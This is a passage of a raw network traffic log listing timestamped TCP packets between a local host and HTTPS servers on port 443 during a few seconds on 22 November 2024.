Nov 22, 2024 01:04:10.928739071 CET	443	50056	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.932579994 CET	50062	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.932609081 CET	443	50062	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:10.932682037 CET	50062	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.932830095 CET	50062	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:10.932843924 CET	443	50062	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:11.035379887 CET	443	50058	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:11.035535097 CET	443	50058	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:11.035599947 CET	50058	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:11.039518118 CET	50058	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:11.039519072 CET	50058	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:11.039540052 CET	443	50058	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:11.039551973 CET	443	50058	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:11.043271065 CET	50063	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:11.043287992 CET	443	50063	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:11.043370008 CET	50063	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:11.043545008 CET	50063	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:11.043557882 CET	443	50063	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:11.099227905 CET	443	50059	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:11.103198051 CET	50059	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:11.103230953 CET	443	50059	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:11.104322910 CET	50059	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:11.104330063 CET	443	50059	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:11.553755045 CET	443	50040	142.250.181.68	192.168.2.7
Nov 22, 2024 01:04:11.553913116 CET	443	50040	142.250.181.68	192.168.2.7
Nov 22, 2024 01:04:11.553982973 CET	50040	443	192.168.2.7	142.250.181.68
Nov 22, 2024 01:04:11.561206102 CET	443	50059	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:11.561229944 CET	443	50059	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:11.561300993 CET	50059	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:11.561316013 CET	443	50059	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:11.561736107 CET	443	50059	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:11.561948061 CET	50059	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:11.561971903 CET	443	50059	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:11.561985970 CET	50059	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:11.561994076 CET	443	50059	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:11.562002897 CET	50059	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:11.562010050 CET	443	50059	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:11.565191031 CET	50064	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:11.565217972 CET	443	50064	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:11.565301895 CET	50064	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:11.565659046 CET	50064	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:11.565674067 CET	443	50064	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:12.233432055 CET	50040	443	192.168.2.7	142.250.181.68
Nov 22, 2024 01:04:12.233455896 CET	443	50040	142.250.181.68	192.168.2.7
Nov 22, 2024 01:04:12.683465958 CET	443	50060	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:12.683943987 CET	50060	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:12.683968067 CET	443	50060	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:12.684544086 CET	50060	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:12.684551954 CET	443	50060	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:12.700001001 CET	443	50061	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:12.700416088 CET	50061	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:12.700434923 CET	443	50061	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:12.700798988 CET	50061	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:12.700804949 CET	443	50061	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:12.719234943 CET	443	50062	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:12.719582081 CET	50062	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:12.719605923 CET	443	50062	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:12.720105886 CET	50062	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:12.720114946 CET	443	50062	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:12.830302954 CET	443	50063	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:12.830784082 CET	50063	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:12.830804110 CET	443	50063	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:12.831393003 CET	50063	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:12.831398010 CET	443	50063	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.118998051 CET	443	50060	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.119105101 CET	443	50060	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.119158983 CET	50060	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.123173952 CET	50060	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.123202085 CET	443	50060	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.123214960 CET	50060	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.123223066 CET	443	50060	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.131406069 CET	50066	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.131464958 CET	443	50066	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.131529093 CET	50066	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.132014990 CET	50066	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.132035971 CET	443	50066	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.165349007 CET	443	50062	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.165419102 CET	443	50062	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.165469885 CET	50062	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.165493011 CET	443	50062	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.165623903 CET	50062	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.165642977 CET	443	50062	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.165652037 CET	50062	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.165997982 CET	443	50062	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.166099072 CET	443	50062	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.166143894 CET	50062	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.169042110 CET	50067	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.169075966 CET	443	50067	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.169150114 CET	50067	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.169312000 CET	50067	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.169322014 CET	443	50067	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.282994986 CET	443	50064	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.283370972 CET	50064	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.283392906 CET	443	50064	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.283917904 CET	50064	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.283925056 CET	443	50064	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.414850950 CET	443	50061	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.414911032 CET	443	50061	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.414972067 CET	50061	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.414983988 CET	443	50061	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.415108919 CET	50061	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.415117979 CET	443	50061	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.415126085 CET	50061	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.415308952 CET	443	50061	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.415361881 CET	443	50061	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.415407896 CET	50061	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.417470932 CET	50068	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.417490959 CET	443	50068	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.417567968 CET	50068	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.417690039 CET	50068	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.417700052 CET	443	50068	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.484977007 CET	443	50063	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.485033989 CET	443	50063	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.485095978 CET	50063	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.485107899 CET	443	50063	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.485311985 CET	50063	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.485322952 CET	443	50063	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.485340118 CET	50063	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.485692024 CET	443	50063	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.485784054 CET	443	50063	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.485838890 CET	50063	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.487863064 CET	50069	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.487926006 CET	443	50069	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.488018990 CET	50069	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.488152027 CET	50069	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.488178968 CET	443	50069	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.718475103 CET	443	50064	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.718507051 CET	443	50064	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.718549013 CET	50064	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.718571901 CET	443	50064	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.718739033 CET	443	50064	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.718782902 CET	50064	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.718893051 CET	50064	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.718909025 CET	443	50064	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.718926907 CET	50064	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.718933105 CET	443	50064	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.721570969 CET	50070	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.721592903 CET	443	50070	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:13.721642017 CET	50070	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.721745014 CET	50070	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:13.721759081 CET	443	50070	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:14.927849054 CET	443	50066	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:14.930418968 CET	50066	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:14.930459976 CET	443	50066	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:14.930952072 CET	50066	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:14.930960894 CET	443	50066	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:14.995066881 CET	443	50068	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:14.998640060 CET	50068	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:14.998660088 CET	443	50068	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:14.999269009 CET	50068	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:14.999274969 CET	443	50068	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.030102968 CET	443	50067	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.034122944 CET	50067	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.034137964 CET	443	50067	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.034559965 CET	50067	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.034565926 CET	443	50067	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.266818047 CET	443	50069	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.270927906 CET	50069	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.270950079 CET	443	50069	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.271471977 CET	50069	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.271476984 CET	443	50069	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.377649069 CET	443	50066	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.377722025 CET	443	50066	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.377827883 CET	50066	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.378079891 CET	50066	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.378098011 CET	443	50066	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.378112078 CET	50066	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.378118992 CET	443	50066	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.382273912 CET	50071	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.382319927 CET	443	50071	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.382400036 CET	50071	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.382657051 CET	50071	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.382673979 CET	443	50071	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.431447029 CET	443	50068	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.431521893 CET	443	50068	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.431871891 CET	50068	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.431921959 CET	50068	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.431937933 CET	443	50068	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.431955099 CET	50068	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.431963921 CET	443	50068	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.435430050 CET	50072	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.435508013 CET	443	50072	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.435589075 CET	50072	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.435784101 CET	50072	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.435820103 CET	443	50072	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.458180904 CET	443	50070	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.458561897 CET	50070	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.458579063 CET	443	50070	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.459038019 CET	50070	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.459044933 CET	443	50070	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.485140085 CET	443	50067	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.485331059 CET	443	50067	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.485416889 CET	50067	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.486778975 CET	50067	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.486807108 CET	443	50067	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.486824989 CET	50067	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.486831903 CET	443	50067	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.490808010 CET	50073	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.490828037 CET	443	50073	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.490895033 CET	50073	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.492292881 CET	50073	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.492301941 CET	443	50073	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.710489988 CET	443	50069	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.713521957 CET	443	50069	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.713613987 CET	50069	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.713654995 CET	50069	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.713655949 CET	50069	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.713677883 CET	443	50069	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.713697910 CET	443	50069	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.717391968 CET	50074	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.717430115 CET	443	50074	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.717516899 CET	50074	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.717721939 CET	50074	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.717750072 CET	443	50074	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.896869898 CET	443	50070	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.896902084 CET	443	50070	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.896967888 CET	50070	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.896984100 CET	443	50070	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.897032022 CET	50070	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.897317886 CET	50070	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.897325039 CET	443	50070	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.897346973 CET	50070	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.897526979 CET	443	50070	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.897564888 CET	443	50070	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.897612095 CET	50070	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.900705099 CET	50075	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.900728941 CET	443	50075	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:15.900800943 CET	50075	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.900944948 CET	50075	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:15.900949955 CET	443	50075	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.168996096 CET	443	50071	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.169574022 CET	50071	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.169595003 CET	443	50071	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.170137882 CET	50071	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.170142889 CET	443	50071	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.237210035 CET	443	50073	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.237878084 CET	50073	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.237909079 CET	443	50073	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.242238998 CET	50073	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.242244005 CET	443	50073	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.255605936 CET	443	50072	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.256191015 CET	50072	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.256278992 CET	443	50072	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.256644011 CET	50072	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.256658077 CET	443	50072	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.501909018 CET	443	50074	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.502613068 CET	50074	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.502688885 CET	443	50074	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.503072023 CET	50074	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.503087997 CET	443	50074	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.638690948 CET	443	50071	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.638734102 CET	443	50071	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.638828993 CET	443	50071	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.638850927 CET	50071	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.638880968 CET	50071	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.639172077 CET	50071	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.639189959 CET	443	50071	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.639203072 CET	50071	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.639208078 CET	443	50071	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.642740011 CET	50076	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.642801046 CET	443	50076	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.642904043 CET	50076	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.643085003 CET	50076	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.643120050 CET	443	50076	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.670790911 CET	443	50073	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.670847893 CET	443	50073	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.670922995 CET	50073	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.670933962 CET	443	50073	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.671093941 CET	50073	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.671102047 CET	443	50073	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.671114922 CET	50073	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.671458960 CET	443	50073	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.671540022 CET	443	50073	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.671592951 CET	50073	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.673605919 CET	50077	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.673686028 CET	443	50077	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.673768997 CET	50077	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.673897028 CET	50077	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.673933029 CET	443	50077	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.745670080 CET	443	50075	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.746129036 CET	50075	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.746136904 CET	443	50075	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.746642113 CET	50075	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.746646881 CET	443	50075	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.748459101 CET	443	50072	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.748481035 CET	443	50072	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.748500109 CET	443	50072	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.748553991 CET	50072	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.748589039 CET	443	50072	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.748651981 CET	50072	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.904905081 CET	443	50072	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.905035973 CET	443	50072	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.905091047 CET	50072	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.905153990 CET	50072	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.906035900 CET	50072	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.906075954 CET	443	50072	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.906100988 CET	50072	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.906120062 CET	443	50072	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.909758091 CET	50078	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.909806967 CET	443	50078	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.909893990 CET	50078	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.910063982 CET	50078	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.910094023 CET	443	50078	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.991231918 CET	443	50074	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.991296053 CET	443	50074	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.991362095 CET	443	50074	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.991379023 CET	50074	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.991409063 CET	443	50074	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:17.991444111 CET	50074	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:17.991460085 CET	50074	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:18.173053026 CET	443	50074	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:18.173127890 CET	443	50074	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:18.173170090 CET	50074	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:18.173194885 CET	443	50074	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:18.173230886 CET	50074	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:18.173269033 CET	50074	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:18.173290014 CET	443	50074	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:18.173352003 CET	50074	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:18.173381090 CET	443	50074	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:18.173405886 CET	50074	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:18.173418045 CET	443	50074	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:18.177067995 CET	50079	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:18.177154064 CET	443	50079	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:18.177270889 CET	50079	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:18.177421093 CET	50079	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:18.177453041 CET	443	50079	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:18.206800938 CET	443	50075	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:18.206952095 CET	443	50075	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:18.207022905 CET	50075	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:18.207048893 CET	443	50075	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:18.207099915 CET	50075	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:18.207151890 CET	50075	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:18.207156897 CET	443	50075	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:18.207174063 CET	50075	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:18.207459927 CET	443	50075	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:18.207606077 CET	443	50075	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:18.207655907 CET	50075	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:18.210450888 CET	50080	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:04:18.210477114 CET	443	50080	13.107.246.63	192.168.2.7
Nov 22, 2024 01:04:18.210556030 CET	50080	443	192.168.2.7	13.107.246.63
